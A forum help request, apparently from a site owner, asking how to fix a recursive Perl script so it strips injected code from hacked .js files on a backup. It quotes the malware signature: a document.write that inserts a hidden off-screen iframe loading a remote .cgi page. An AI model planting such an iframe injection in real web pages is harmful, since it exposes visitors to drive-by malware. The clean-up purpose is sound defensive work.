Here is the code I am working on. It works for sample data, but for the actual data, it is not working. I am working on the backup of the live files and presently using the following script. I am working on Active Perl 5.14 on Windows. Please help.
#!/usr/bin/perl
use strict;
# show no warnings about recursion (we know what we do )
no warnings "recursion";
# specify the file you search here (in this example "corporate" ) :
my $file = '\.js$';
my @jsfiles = ();
# specify the directory where you want to start the search (in this ex
+ample ".", the current directory) :
my $searchdir = "C:/scripts/corporate";
my $replace_string = "SAMPLE TEXT TO REPLACE";
# Calling the Subroutine, which searches the File
readDirectory($searchdir, $file);
print "\n", '*' x 60, "\n";
foreach my $js (@jsfiles) {
open JAVASCRIPT, '<', "$js" or die "Cannot open file for read ($!)
+";
open TEMP, '>', "temp.js" or die "Cannot open file for write ($!)"
+;
#Enable slurp mode
local $/;
my $data = <JAVASCRIPT>;
$data =~ s/$replace_string//g;
print TEMP $data;
close JAVASCRIPT;
close TEMP;
unlink $js;
rename "temp.js", $js;
print "$js\n";
}
print "\n", '*' x 60, "\n";
# We need an Subroutine, which can be called on every sub-directory
sub readDirectory
{
my $searchdir = shift;
my $searchfile = shift;
# a little bit output, in which directory the script
# is searching at the moment (the following line is not necessary
+)
print "Searching in $searchdir \n";
# Open and close the directory
opendir DIR, $searchdir or die("An error occured: $!");
my @files = readdir(DIR);
closedir DIR;
foreach my $currentFile (@files)
{
# In Unix/Linux we have the directorys "." and "..",
# it's no good idea to scan these, so let them skip.
next if $currentFile =~ /^\./;
# Lets have a look, if the current "file" is the searched fi
+le,
# else have a look, if the "file" is an directory,
# and if its one, lets have a look, if the searched file is
+into it.
if ( $currentFile =~ /$searchfile/ )
{
# We found the right file, now we can do somthing with
+it,
# in this case, we only print a text
push @jsfiles, "$searchdir/$currentFile";
print "Found the file: $searchdir/$currentFile\n";
}
if ( -d "$searchdir/$currentFile" )
{
# The Subroutine i calling hisself with the new paramet
+ers
readDirectory("$searchdir/$currentFile", $searchfile);
}
}
}
Here is a code signature of the hacked .js files
;document.write('<iframe width="50" height="50" style="width:100px;hei
+ght:100px;position:absolute;left:-100px;top:0;" src="http : / / ipxlq
+fn . freewww . info / 9a06efb5c 8163b982c1 1a64762e27 d . cgi ? 8"></
+iframe>');
I want to make the above code to get replaced instead of the sample pattern. |